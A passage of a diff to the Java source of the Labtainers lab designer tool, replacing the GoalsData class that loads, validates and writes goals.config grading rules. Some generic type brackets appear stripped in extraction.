Type - String answerType = (String)((GoalPanels) goal).getAnswerTypeComboBox().getSelectedItem(); - //Answer Tag - String answerTag = ""; - if(answerType.equals(answerTypes[0])) //Literal - answerTag = ((GoalPanels) goal).getAnswerTagTextField().getText(); - else if(answerType.equals(answerTypes[1])) //Result Tag - answerTag = (String)(((GoalPanels) goal).getResultTag2ComboBox().getSelectedItem()); - else if(answerType.equals(answerTypes[2]) || answerType.equals(answerTypes[3])) //Parameter and Parameter ASCII - answerTag = (String)(((GoalPanels) goal).getParameterComboBox().getSelectedItem()); - - - - //Boolean Expression - String booleanExp = ((GoalPanels) goal).getBooleanTextField().getText(); - - - //Goal 1 - String goal1 = ((GoalPanels) goal).getGoal1TextField().getText(); - //Goal 2 - String goal2 = ((GoalPanels) goal).getGoal2TextField().getText(); - - - //Value - String value = ((GoalPanels) goal).getValueTextField().getText(); - //Subgoal List - String subgoalList = ((GoalPanels) goal).getSubgoalTextField().getText(); - - - //Executable File - String executableFile = ((GoalPanels) goal).getExecutableFileTextField().getText(); - - listofGoalsTMP.add(new GoalValues(goalID, goalType, operator, resultTag, answerType, answerTag, booleanExp, goal1, goal2, value, subgoalList, executableFile)); - } - listofGoals = listofGoalsTMP; //overwrite the old listofGoals with the temp listofGoals - } - - //Swaps goal order in the list of goals and then redraws them - protected void swapGoals(String type, int rowIndex){ - switch(type){ - case "UP": - if(rowIndex > 0){ - //System.out.println("UP: "+listofGoals.get(rowIndex).resultTag+" Index: "+rowIndex); - Collections.swap(listofGoals, rowIndex, rowIndex-1); - } - break; - case "DOWN": - if(rowIndex < rowCount-1){ - //System.out.println("DOWN: "+listofGoals.get(rowIndex).resultTag); - Collections.swap(listofGoals, rowIndex, rowIndex+1); - } - break; - default: - System.out.println("swap case not registered"); - } - } - - - //Compares the data of two lists of ArtifactValues. If there is a difference then return 'true', 'false' otherwise - static boolean goalValuesDiffer(List list1, List list2){ - if(list1 == null || list2 == null || list1.size() != list2.size()) - return true; - else{ - //This is a gross implemenation of copmaring each individual value between two sets of Goal Values (Maybe conisder implementing the GoalValues Class as a comparable) - for(int i=0;i getAboveGoals(String type, int rowIndex, Component[] goals){ - ArrayList aboveGoals = new ArrayList<>(); - for(int i=0;i(); - rowCount = listofGoals.size(); - } - -//RowCount setters - void increaseRowCount(){ - rowCount++; - } - - void decreaseRowCount(){ - rowCount--; - } - -//Getters - boolean isLoaded(){ - return labloaded; - } - - int getRowCount(){ - return rowCount; - } - - List getListofGoals(){ - return listofGoals; - } - - List getResultTagList(){ - return resultTagList; - } - - List getParameters(){ - return parameters; - } - - List getBooleanResults(){ - return booleanResults; - } - -//Debug - static private void goalValuesDifferDEBUG(List list1, List list2, int i){ - System.out.println("GOAL: "+i); - System.out.println(); - System.out.println("Goal ID"); - System.out.println(list1.get(i).goalID + " : " + list2.get(i).goalID); - System.out.println(); - System.out.println("Goal Type"); - System.out.println(list1.get(i).goalType + " : " + list2.get(i).goalType); - System.out.println(); - System.out.println("Opertor"); - System.out.println(list1.get(i).operator + " : " + list2.get(i).operator); - System.out.println(); - System.out.println("Result Tag"); - System.out.println(list1.get(i).resultTag + " : " + list2.get(i).resultTag); - System.out.println(); - System.out.println("Answer Tag"); - System.out.println(list1.get(i).answerTag + " : " + list2.get(i).answerTag); - System.out.println(); - System.out.println("Boolean Expression"); - System.out.println(list1.get(i).booleanExp + " : " + list2.get(i).booleanExp); - System.out.println(); - System.out.println("Goal 1"); - System.out.println(list1.get(i).goal1 + " : " + list2.get(i).goal1); - System.out.println(); - System.out.println("Goal 2"); - System.out.println(list1.get(i).goal2 + " : " + list2.get(i).goal2); - System.out.println(); - System.out.println("Value"); - System.out.println(list1.get(i).value + " : " + list2.get(i).value); - System.out.println(); - System.out.println("Subgoal List"); - System.out.println(list1.get(i).subgoalList + " : " + list2.get(i).subgoalList); - System.out.println(); - System.out.println("Goal ID"); - System.out.println(list1.get(i).executableFile + " : " + list2.get(i).executableFile); - } - -} +/* +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions +are met: + 1. Redistributions of source code must retain the above copyright + notice, this list of conditions and the following disclaimer. + 2. Redistributions in binary form must reproduce the above copyright + notice, this list of conditions and the following disclaimer in the + documentation and/or other materials provided with the distribution. + +THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, +INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, +STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN +ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +POSSIBILITY OF SUCH DAMAGE. + */ +package labtainers.goalsui; + +import java.awt.Component; +import java.io.BufferedReader; +import java.io.BufferedWriter; +import java.io.File; +import java.io.FileNotFoundException; +import java.io.FileReader; +import java.io.FileWriter; +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.logging.Level; +import java.util.logging.Logger; +import javax.swing.JOptionPane; +import javax.swing.JPanel; +import javax.swing.JComboBox; +import static labtainers.goalsui.ParamReferenceStorage.GoalType_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.Answer_ITEMS; +import static labtainers.goalsui.ParamReferenceStorage.booleanResultTypes; +import static labtainers.goalsui.ParamReferenceStorage.goalInput; +import static labtainers.goalsui.ParamReferenceStorage.opInput; +import static labtainers.goalsui.ParamReferenceStorage.resultTagInput; +import labtainers.mainui.MainWindow; +import labtainers.mainui.ToolTipHandlers.ToolTipWrapper; +import labtainers.mainui.CompareTextFiles; +import labtainers.mainui.LabData; +import labtainers.resultsui.ResultsData; + +/** + * + * @author Daniel Liao + */ +public class GoalsData { + private List listofGoals; + //final private List resultTagList; + private int rowCount; + MainWindow mainUI; + + public GoalsData(MainWindow main, File labPath){ + listofGoals = new ArrayList<>(); + //resultTagList = new ArrayList<>(); + rowCount = 0; + this.mainUI = main; + } + + // Creates a deep copy of the original + public GoalsData(GoalsData original){ + listofGoals = new ArrayList<>(); + for(GoalValues goal : original.getListofGoals()){ + listofGoals.add(new GoalValues(goal)); + } + + //resultTagList = new ArrayList<>(); + //for(String resultTag : original.getResultTagList()) + // resultTagList.add(resultTag); + + + rowCount = original.getRowCount(); + mainUI = original.getMainUI(); + } + + +//LOADING~~~~~~~~~~~~~~~~~~~~~~~~ + + //Checks if the lab exists and will load lab's goals.config if it does + public void retrieveData(){ + //if(retrieveResultTags() && retrieveGoals()){ + if(retrieveGoals()){ + //retrieveParameters(); + //retrieveBooleanResults(); + } + } + //Parses the goals.config to obtain all the relevant goal lines, + //extracts the values of each goal line and stores them into a list of "goals"(Goal Values) + private boolean retrieveGoals(){ + //Attempt to set the listofGoals, if it ends up being null then there was an issue accessing the goal lines, which would be paresd into Goal Values + listofGoals = getGoalValuesOfConfigFile(); + if(listofGoals != null){ + rowCount=listofGoals.size(); + return true; + } + else + return false; + } + + +//WRITING~~~~~~~~~~~~~~~~~~~~~~~~ + + //Update the results.config file with the user's input + public String writeGoalsConfig(boolean usetmp){ + if(listofGoals == null){ + mainUI.output("ERROR listofGoals is null\n"); + return null; + } + List booleanResults = mainUI.getCurrentData().getResultsData().getBooleanResults(); + File goalsConfigFile = null; + try { + String goalID, + goalType, + + operator, + resultTag, + answerType, + + booleanExp, + + goal1, + goal2, + + value, + subgoalList, + + executableFile; + String goalsConfigText = ""; + ErrorHandler error = new ErrorHandler(); + List goalIDs = new ArrayList(); //Used for goal ID duplication check + String comments; + + //Iterate through each goal + for(int i=0;i < listofGoals.size();i++){ + error.checkReset(); //Reset the error statuses for a new goal line + + String goalConfigLine = listofGoals.get(i).comments; + if(goalConfigLine == null){ + goalConfigLine = ""; + } + + //Goal ID + goalID = listofGoals.get(i).goalID; + goalIDs.add(goalID); + //Checks if goal ID is valid or inputted + if(error.checkGoalID(goalID)){ + goalConfigLine += (goalID + " = "); //add to goal ID Config line + } + + //Goal Type + if(listofGoals.get(i).goalType == null){ + System.out.println("Goal type is null for goal "+i); + continue; + } + goalType = listofGoals.get(i).goalType.getItem(); + + switch (goalType) { + case "matchExpression": + goalConfigLine += "matchany : "; + break; + case "count_value": + case "count_matches": + goalConfigLine += "count : "; + break; + default: + goalConfigLine += goalType+" : "; + break; + } + + if(opInput.contains(goalType)){ + + if(listofGoals.get(i).operator == null){ + error.badOperator = true; + System.out.println("NULL operator "+goalID); + mainUI.output("Unknownn operator for goal "+goalID); + continue; + } + operator = listofGoals.get(i).operator.getItem(); + resultTag = listofGoals.get(i).resultTag; + answerType = listofGoals.get(i).answerType; + + goalConfigLine += operator+" : "; + goalConfigLine += resultTag+" : "; + goalConfigLine += answerHandler(answerType, listofGoals.get(i)); + } + + else if(goalInput.contains(goalType)){ + goal1 = listofGoals.get(i).goal1; + goal2 = listofGoals.get(i).goal2; + + ArrayList listOfAboveGoals = getAboveGoals("GOAL1&2", i); + if(error.checkGoal1(goal1, listOfAboveGoals, booleanResults)) + goalConfigLine += goal1+" : "; + if(error.checkGoal2(goal2, listOfAboveGoals, booleanResults)) + goalConfigLine += goal2; + } + + else if(resultTagInput.contains(goalType)){ + resultTag = listofGoals.get(i).resultTag; + goalConfigLine += resultTag; + } + + else if("boolean".equals(goalType)){ + booleanExp = listofGoals.get(i).booleanExp; + + if(error.checkBooleanExp(booleanExp, getAboveGoals("BOOLEAN", i), booleanResults)){ + goalConfigLine += booleanExp; + } + } + + else if("count_greater".equals(goalType)){ + value = listofGoals.get(i).value; + subgoalList = listofGoals.get(i).subgoalList; + + if(error.checkValueAndSubgoals(value, subgoalList, getAboveGoals("ALL", i), booleanResults)){ + goalConfigLine += value+" : "; + goalConfigLine += "("; + goalConfigLine += subgoalList; + goalConfigLine += ")"; + } + + + + } + else if("execute".equals(goalType)){ + executableFile = listofGoals.get(i).executableFile; + resultTag = listofGoals.get(i).resultTag; + answerType = listofGoals.get(i).answerType; + + goalConfigLine += executableFile+" : "; + goalConfigLine += resultTag+" : "; + goalConfigLine += answerHandler(answerType, listofGoals.get(i)); + } + else if("matchExpression".equals(goalType)){ + operator = listofGoals.get(i).operator.getItem(); + + //May need modification /validation + String rt = listofGoals.get(i).resultTag; + resultTag=""; + if(error.checkArithRT(rt)){ //NOTE: the checkArithRT is incomplete and simply returns 'true' + resultTag += "("; + resultTag += rt; + resultTag += ")"; + } + + answerType = listofGoals.get(i).answerType; + + goalConfigLine += operator+" : "; + goalConfigLine += resultTag+" : "; + goalConfigLine += answerHandler(answerType, listofGoals.get(i)); + } + + + //If there's no error, put the goalConfigLine in the resultsConfigText string, + //Otherwise the overallPass of the user input is false + if(error.userInputCheck(i+1, booleanResults)){ + if(i < listofGoals.size()-1) + goalConfigLine+= System.lineSeparator(); + //Add the goal config line to the Results Config text + goalsConfigText += goalConfigLine; + } + else + error.fail(); + } + + //Check for duplicate goal IDs + error.checkDuplicateGoalIDs(goalIDs, booleanResults); + + + if(error.passStatus()){ + //Resets the results.config file + goalsConfigFile = initializeGoalsConfig(usetmp); + + try ( //Write the goals configuration to the results.config + BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile, true))) { + writer.write(goalsConfigText+"\n"); + } + /* + if(usetmp){ + String new_file = goalsConfigFile.getAbsolutePath(); + String old_file = getGoalsPath(); + boolean same = CompareTextFiles.compare(old_file, new_file); + if(!same){ + retval = false; + System.out.println("files differ"); + } + } + */ + } + else + JOptionPane.showMessageDialog(null, error.toString(), "INPUT ERROR", JOptionPane.ERROR_MESSAGE); + } + catch (IOException ex) { + Logger.getLogger(GoalsUI.class.getName()).log(Level.SEVERE, null, ex); + } + if(goalsConfigFile != null){ + return goalsConfigFile.getAbsolutePath(); + }else{ + return null; + } + } + private String getGoalsPath(){ + String retval = mainUI.getCurrentLab() + File.separator + "instr_config" + File.separator + "goals.config"; + return retval; + } + //Builds the string bit to be added in the goals.config that describes the answer for a goal + private String answerHandler(String answerType, GoalValues goal){ + String answer = ""; + ToolTipWrapper tip = ParamReferenceStorage.getWrapper(Answer_ITEMS, answerType); + if(tip.equals(Answer_ITEMS[0])) //Literal + answer += "answer="; + else if(tip.equals(Answer_ITEMS[1])) //Result Tag + answer += "result."; + else if(tip.equals(Answer_ITEMS[2])) //Parameter + answer += "parameter."; + else if(tip.equals(Answer_ITEMS[3])) //Parameter ASCII + answer += "parameter_ascii."; + else + System.out.println("Issue writing answer in the goals.config"); + answer += goal.answerTag; + return answer; + } + + //Checks if the goals.config file exists and prepares the goals.config file for the lab + private File initializeGoalsConfig(boolean usetmp) throws IOException{ + //Get the filepath for the lab's goals.config + File goalsConfigFile; + if(!usetmp){ + goalsConfigFile = new File(getGoalsPath()); + }else{ + Path tempDir=null; + try{ + tempDir = Files.createTempDirectory(mainUI.getLabName()); + }catch(IOException ex){ + System.out.println("failed creating temporary directory" + ex); + System.exit(1); + } + String dir_s = tempDir.getFileName().toString(); + goalsConfigFile = new File(File.separator+"tmp"+File.separator+dir_s+ File.separator + "goals.config"); + } + + //May not be necessary, subject to remove the base text, perhaps there is an option for the user to add their own comments + //String baseText = + // "# goals.config" + System.lineSeparator() + // + "#" + System.lineSeparator() + // + "# Please see the Labtainer Lab Designer User Guide" + System.lineSeparator(); + + if(goalsConfigFile.exists()){ + //Overwrite goals.config file if it already exists + try (BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile, false))) { + //writer.write(baseText); + } + return goalsConfigFile; + } + else if(goalsConfigFile.createNewFile()){ + //Create new goals.config file otherwise(if it does not already exist) + try (BufferedWriter writer = new BufferedWriter(new FileWriter(goalsConfigFile))) { + //writer.write(baseText); + } + return goalsConfigFile; + } + else{ //File could not be created so return error message + System.out.println("Goals Config File couldn't be initialzed."); + return null; + } + } + + + + //Handles all the error data and error checking before writing the goals.config + protected class ErrorHandler{ + private boolean overallPass; + private String errorMsg; + boolean + goalError, + goalIDMissing, + + goal1Error, + goal1Missing, + goal2Error, + goal2Missing, + badOperator, + booleanExpCharError, + booleanExpTagError, + booleanExpNotError, + booleanExpStartError, + booleanExpEndError, + booleanParensError, + booleanAlternateError, + booleanMissing, + + arithRTCharError, + arithRTMissing, + + valueError, + valueMissing, + subgoalError, + subgoalMissing; + + ErrorHandler(){ + overallPass = true; + errorMsg = ""; + checkReset(); + } + + void fail(){ + overallPass = false; + } + + //Rests the error status(used right before looking at new goal line) + private void checkReset(){ + goalError = false; + goalIDMissing = false; + + goal1Error = false; + goal1Missing = false; + goal2Error = false; + goal2Missing = false; + + badOperator = false; + + booleanExpCharError = false; + booleanExpTagError = false; + booleanExpNotError = false; + booleanExpStartError = false; + booleanExpEndError = false; + booleanParensError = false; + booleanAlternateError = false; + booleanMissing = false; + + arithRTCharError = false; + arithRTMissing = false; + + valueError = false; + valueMissing = false; + subgoalError = false; + subgoalMissing = false; + } + + + + //Builds error message detailing the errors that appear in the user input + boolean userInputCheck(int goalIndex, List booleanResults){ + boolean rowPassed = true; + String infoMsg = "Goal Line: " + goalIndex + System.lineSeparator(); + + if(goalError){ + rowPassed = false; + infoMsg+= "-Make sure your Goal ID has only alphanumeric characters or underscores." + System.lineSeparator(); + } + if(goalIDMissing){ + rowPassed = false; + infoMsg+= "-Goal ID input is missing." + System.lineSeparator(); + } + + + if(goal1Error){ + rowPassed = false; + infoMsg+= "-Make sure that Goal 1 is a 'matchany' goal above this line or a results boolean." + System.lineSeparator(); + } + if(goal1Missing){ + rowPassed = false; + infoMsg+= "-Goal 1 input is missing." + System.lineSeparator(); + } + if(goal2Error){ + rowPassed = false; + infoMsg+= "-Make sure that Goal 2 is a 'matchany' goal above this line or a results boolean." + System.lineSeparator(); + } + if(goal2Missing){ + rowPassed = false; + infoMsg+= "-Goal 2 input is missing." + System.lineSeparator(); + } + if(badOperator){ + rowPassed = false; + infoMsg+= "-Unknown operator." + System.lineSeparator(); + } + + + if(booleanExpCharError || booleanExpTagError){ + rowPassed = false; + infoMsg+= "-Make sure Boolean Expression contains only result booleans, non-matchacross goal IDs above this goal line," + System.lineSeparator() + + "parentheses, and boolean operators(and, or, and_not, or_not, not)." + System.lineSeparator(); + } + if(booleanExpNotError){ + rowPassed = false; + infoMsg+= "-The 'not' boolean operator can only appear at the beginning of a boolean expression." + System.lineSeparator(); + } + if(booleanExpStartError || booleanExpEndError){ + rowPassed = false; + infoMsg+= "-Make sure your expression is starts and ends correctly." + System.lineSeparator(); + } + if(booleanParensError){ + rowPassed = false; + infoMsg+= "-Make sure your expression has proper parentheses " + System.lineSeparator(); + } + if(booleanAlternateError){ + rowPassed = false; + infoMsg+= "-Make sure your expression is formatted correctly and make sure an item precedes and follows " + System.lineSeparator() + + "a boolean operator." + System.lineSeparator(); + } + if(booleanMissing){ + rowPassed = false; + infoMsg+= "-Boolean input is missing." + System.lineSeparator(); + } + + + if(arithRTCharError){ + rowPassed = false; + infoMsg+= "-Make sure Arithmetic Result Tag is formatted correctly." + System.lineSeparator(); + } + if(arithRTMissing){ + rowPassed = false; + infoMsg+= "-Arithmetic Result Tag input is missing." + System.lineSeparator(); + } + + + if(valueError){ + rowPassed = false; + infoMsg+= "-Value can only be a positive number(includes zero) less than the number of subgoal items." + System.lineSeparator(); + } + if(valueMissing){ + rowPassed = false; + infoMsg+= "-Value input is missing." + System.lineSeparator(); + } + if(subgoalError){ + rowPassed = false; + infoMsg+= "-Make sure your Subgoal list is seperated by commas(', ') and only contains goals from above this goal line" + System.lineSeparator() + + "and/or result booleans." + System.lineSeparator(); + } + if(subgoalMissing){ + rowPassed = false; + infoMsg+= "-Subgoal List input is missing." + System.lineSeparator(); + } + + if(!rowPassed) + errorMsg += (infoMsg + System.lineSeparator()); + + return rowPassed; + } + + //Checks is goal ID is missing or has invalid characters(valid: alphanumeric, and underscores) + boolean checkGoalID(String goalID){ + if(goalID.isEmpty() || goalID.equals("")){ + goalIDMissing = true; + return false; + } + else if(!goalID.matches("^[a-zA-Z0-9_-]+$")){ + goalError = true; + return false; + } + else + return true; + } + + + //Checks if goal 1 is either an above goal or a boolean results + boolean checkGoal1(String goal1, List listOfAboveGoals, List booleanResults){ + if(goal1.isEmpty() || goal1.equals("")){ + goal1Missing = true; + return false; + } + else if(!listOfAboveGoals.contains(goal1) && !booleanResults.contains(goal1)){ + goal1Error = true; + System.out.println("problem with goal1 "+goal1); + return false; + } + else + return true; + } + + //Checks if goal 2 is either an above goal or a boolean results + boolean checkGoal2(String goal2, List listOfAboveGoals, List booleanResults){ + if(goal2.isEmpty() || goal2.equals("")){ + goal2Missing = true; + return false; + } + else if(!listOfAboveGoals.contains(goal2) && !booleanResults.contains(goal2)){ + goal2Error = true; + System.out.println("problem with goal2 "+goal2); + return false; + } + else + return true; + } + + //Checks if boolean expression is valid: (The checking may have some overlap thta may need to be recoded) + boolean checkBooleanExp(String booleanExp, List nonMAAGoals, List booleanResults) { + String[] booleanOperators = {"and", "or", "and_not", "or_not"}; + + if(booleanExp.isEmpty() || booleanExp.equals("")){ + booleanMissing = true; + return false; + } + + //Does the boolean exp contain invalid chars (char not: alphnumeric, undescore, hyphen, whitespace, parenthesis) + if(!booleanExp.matches("^[a-zA-Z0-9_() -]+$")){ + booleanExpCharError = true; + return false; + } + + //Reformat the boolean expression string to identitfy things that shouldn't be there + //Replace all " not" with % + if(!booleanExp.startsWith("(")){ + booleanExp = "("+booleanExp+")"; + } + //booleanExp = " "+booleanExp; + //The line above is necessary because when 'not' is used in the beginning there may or may not be a space before it. + //Adding the space includes the non-space-preceeded case. + booleanExp = booleanExp.replaceAll(" not ", "% "); + booleanExp = booleanExp.replaceAll("[(]not ", "(% "); + + booleanExp = booleanExp.trim(); + + //System.out.println("OG: "+booleanExp); + //System.out.println(); + //System.out.println("GOALS:"); + + //Replace all non Matchacross Goals with an asterisk symbol + for(String toReplace : nonMAAGoals){ + booleanExp = symbolReplace(booleanExp, toReplace, "*"); + } + + //System.out.println(); + //System.out.println("RESULT BOOLEANS:"); + //Replace all non boolean results with an asterisk symbol + for(String toReplace : booleanResults){ + //System.out.println("boolean result <"+toReplace+">"); + //System.out.println("boolean exp "+booleanExp); + booleanExp = symbolReplace(booleanExp, toReplace, "*"); + } + + //System.out.println(); + //System.out.println("BOOLEAN OPERATORS:"); + //Replace all boolean operators with a pound symbol + for(String toReplace : booleanOperators){ + booleanExp = symbolReplace(booleanExp, toReplace, "#"); + } + + //System.out.println(booleanExp); + + booleanExp = booleanExp.replaceAll("\\s+","");//removes white space + + //If the boolean expression had a "not " in it, did it not occur at the beginning and/or more than once + //if(booleanExp.contains("%") && (!booleanExp.startsWith("(%") || (booleanExp.indexOf("%") != booleanExp.lastIndexOf("%")))){ + // booleanExpNotError = true; + // System.out.println("not error "+booleanExp); + // return false; + // } + //Does the reformatted Boolean Expression string pick up alphnumeric(with underscore) substring that doesn't belong in either nonMAAGoals or booleanResults + if(!booleanExp.matches("^[%*#()]+$")){ + System.out.println("TagError "+booleanExp); + booleanExpTagError = true; + return false; + } + //Does it start with an operator or a close parens + else if(booleanExp.startsWith("#") || booleanExp.startsWith(")")){ + booleanExpStartError = true; + System.out.println("boolean starts incorretly "+booleanExp); + return false; + } + //Does it end with an operator or an open parens + else if(booleanExp.endsWith("#") || booleanExp.endsWith("(")){ + booleanExpEndError = true; + return false; + } + //Does the boolean expression have bad parens + else if(parensHandler(booleanExp)){ + booleanParensError = true; + return false; + } + //Does it at least have one operator not preceeded and not followed by a nonMAA goal/boolean result + else if(alternatationCheck(booleanExp)){ + booleanAlternateError = true; + return false; + } + + return true; + } + + //Replaces the a substring in the a string with another string + String symbolReplace(String booleanExp, String toReplace, String replaceWith){ + int tRIndex = booleanExp.indexOf(toReplace); + while(tRIndex != -1){ + int indexAfterWord = tRIndex+toReplace.length(); + int indexBeforeWord = tRIndex-1; + //System.out.println(toReplace+": "); + //System.out.println("tRIndex: "+tRIndex); + //System.out.println("indexAfterWord: "+indexAfterWord); + + + //IF the word to replace is at the beginning: "toReplace and_not other" -> "* and_not other" + if(tRIndex == 0 && booleanExp.charAt(indexAfterWord) == ' '){ + booleanExp = booleanExp.substring(0, indexAfterWord).replaceFirst(toReplace, replaceWith)+ + booleanExp.substring(indexAfterWord, booleanExp.length()); + } + //IF the word to replace is at the end: "other and_not toRepalce" -> "other and_not *" + else if(tRIndex == booleanExp.length()-toReplace.length() && + booleanExp.charAt(booleanExp.length()-toReplace.length()-1) == ' '){ + booleanExp = booleanExp.substring(0, tRIndex) + + booleanExp.substring(tRIndex, booleanExp.length()).replaceFirst(toReplace, replaceWith); + } + /* + IF the word to replace is in the middle: "other and toReplace and another" -> "other and * and another" + "(other and toReplace) and another" -> "(other and *) and another" + "(toReplace and other) and another" -> "(* and other) and another" + "(toReplace) and another" -> "(*) and another" + */ + else if((booleanExp.charAt(indexBeforeWord) == ' ' || booleanExp.charAt(indexBeforeWord) == '(') && + (booleanExp.charAt(indexAfterWord) == ' ' || booleanExp.charAt(indexAfterWord) == ')')){ + booleanExp = booleanExp.substring(0, tRIndex)+ + booleanExp.substring(tRIndex, indexAfterWord).replaceFirst(toReplace, replaceWith)+ + booleanExp.substring(indexAfterWord, booleanExp.length()); + }else{ + //System.out.println("No replace "+booleanExp); + } + //System.out.println(booleanExp); + //System.out.println(); + + indexAfterWord = tRIndex+replaceWith.length(); //The indexAfterWord is shifted since the word has been deleted and replaced + if(indexAfterWord aboveGoals, List booleanResults){ + boolean pass = true; + + if(subgoalList.isEmpty() || subgoalList.equals("")){ + subgoalMissing = true; + pass = false; + } + if(value.isEmpty() || value.equals("")){ + valueMissing = true; + pass = false; + } + + if(!subgoalMissing && !valueMissing){ + String[] subgoals = subgoalList.split(", "); + for(String subgoal : subgoals){ + subgoal = subgoal.replaceAll("\\s+", ""); + if(!aboveGoals.contains(subgoal) && !booleanResults.contains(subgoal)){ + subgoalError = true; + pass = false; + } + } + + if(!value.matches("^[0-9]+$") || subgoals.length <= Integer.parseInt(value)){ + valueError = true; + pass = false; + } + + + } + return pass; + } + + //Checks if the result tag has any arithmetic errors (NEEDS REVISION) ***Incomplete + boolean checkArithRT(String arithRT){ + if(arithRT.isEmpty() || arithRT.equals("")){ + arithRTMissing = true; + return false; + } +// for(String rt : resultTagList) +// arithRT.replaceAll(rt, "0"); +// arithRT.replaceAll("\\s+","");//removes white space +// +// if(!arithRT.matches("^[-+0*/&0-9()]+$")){ +// arithRTCharError = true; +// return false; +// } + + return true; + } + + + + + + //Check if there are goalID duplicates (this includes checking duplicates with boolean results) + void checkDuplicateGoalIDs(List goalIDs, List booleanResults){ + ArrayList goalIDSet = new ArrayList<>(); + + //Store all the indices for each unique goal ID + for(int i=0;i 1){ + duplicateErrorMsg+= "Duplicate Goal ID: \"" + goal.goalID + "\" on rows "; + + for(int i=0;i indices; + + GoalIDIndices(String goalID, int index){ + this.goalID = goalID; + indices = new ArrayList<>(); + indices.add(index); + isResultTagBoolean = false; + } + + void addIndex(int index){ + indices.add(index); + } + } + + //Is the goal ID already in the duplicate list? + boolean isDuplicate(List goalIDSet, String goalID){ + for(GoalIDIndices goalIndices : goalIDSet){ + if(goalIndices.goalID.equals(goalID)) + return true; + } + return false; + } + + //Get the duplicate object based on the duplicate string + GoalIDIndices getDuplicate(List goalIDSet, String goalID){ + for(GoalIDIndices goalIndices : goalIDSet){ + if(goalIndices.goalID.equals(goalID)) + return goalIndices; + } + return null; + } + + @Override + public String toString(){ + return errorMsg; + } + + boolean passStatus(){ + return overallPass; + } + + + } + + +//GENERAL~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + //Gets a list of GoalValues from the the current state of the goals.config file + protected ArrayList getGoalValuesOfConfigFile(){ + ArrayList officialListofGoals = new ArrayList<>(); + + ArrayList goalLines = getGoalLines(); + LabData ldata = mainUI.getCurrentData(); + ResultsData rdata = ldata.getResultsData(); + ArrayList resultTagList = mainUI.getCurrentData().getResultsData().getResultNames(); + if(goalLines != null){ + for(String goalLine : goalLines){ + GoalValues values = new GoalValues(goalLine, resultTagList); + officialListofGoals.add(values); + } + return officialListofGoals; + } + else + return null; + } + + //Get the list of goal lines from the goals.config that need to be parsed + private ArrayList getGoalLines(){ + ArrayList goals = new ArrayList<>(); + + try { + File goalsConfig = new File(mainUI.getCurrentLab()+File.separator+"instr_config"+File.separator+"goals.config"); + + //Get the goal lines + if(goalsConfig.exists()){ + try (FileReader fileReader = new FileReader(goalsConfig)) { + BufferedReader bufferedReader = new BufferedReader(fileReader); + + String goal_line = ""; + String line = bufferedReader.readLine(); + while (line != null) { + goal_line = goal_line + line; + //just checks if the first character is: not empty, not a hash, and not whitspace) + if(!line.isEmpty() && line.charAt(0) != '#' && !Character.isWhitespace(line.charAt(0))) + { + goals.add(goal_line); + goal_line = ""; + }else{ + goal_line=goal_line+"\n"; + } + + line = bufferedReader.readLine(); + } + } + return goals; + } + else{ + System.out.println("No goals.config file in the loaded lab!"); + return null; + } + } + catch (IOException e) { + System.out.println("Issue with getting goals.config goals"); + return null; + } + } + + + //Updates the list of goals + protected void updateListofGoals(JPanel PanelofGoals){ + Component[] goals = PanelofGoals.getComponents(); //Access the list of goals + + ArrayList listofGoalsTMP = new ArrayList<>(); + + //Iterate through each goal panel in the UI and add its values to the temp list of goal values + for (Component goal : goals) { + //Goal ID + String goalID = ((GoalPanels) goal).getGoalIDTextField().getText(); + //GoalType + ToolTipWrapper goalType = (ToolTipWrapper)((GoalPanels) goal).getGoalTypeComboBox().getSelectedItem(); + + //Operator + ToolTipWrapper operator = (ToolTipWrapper)((GoalPanels) goal).getOperatorComboBox().getSelectedItem(); + String resultTag = ""; + if(goalType.equals(GoalType_ITEMS[14])){ //matchExpression + resultTag = ((GoalPanels) goal).getArithmeticResultTagTextField().getText(); + } + else{ + //Result Tag + resultTag = (String)((GoalPanels) goal).getResultTagComboBox().getSelectedItem(); + } + //Answer Type + ToolTipWrapper answerTypeTip = (ToolTipWrapper)((GoalPanels) goal).getAnswerTypeComboBox().getSelectedItem(); + //Answer Tag + String answerTag = ""; + if(answerTypeTip.equals(Answer_ITEMS[0])) //Literal + answerTag = ((GoalPanels) goal).getAnswerTagTextField().getText(); + else if(answerTypeTip.equals(Answer_ITEMS[1])) //Result Tag + answerTag = (String)(((GoalPanels) goal).getResultTag2ComboBox().getSelectedItem()); + else if(answerTypeTip.equals(Answer_ITEMS[2]) || answerTypeTip.equals(Answer_ITEMS[3])) //Parameter and Parameter ASCII + answerTag = (String)(((GoalPanels) goal).getParameterComboBox().getSelectedItem()); + + + + //Boolean Expression + String booleanExp = ((GoalPanels) goal).getBooleanTextField().getText(); + + + //Goal 1 + String goal1 = ((GoalPanels) goal).getGoal1TextField().getText(); + //Goal 2 + String goal2 = ((GoalPanels) goal).getGoal2TextField().getText(); + + + //Value + String value = ((GoalPanels) goal).getValueTextField().getText(); + //Subgoal List + String subgoalList = ((GoalPanels) goal).getSubgoalTextField().getText(); + + + //Executable File + String executableFile = 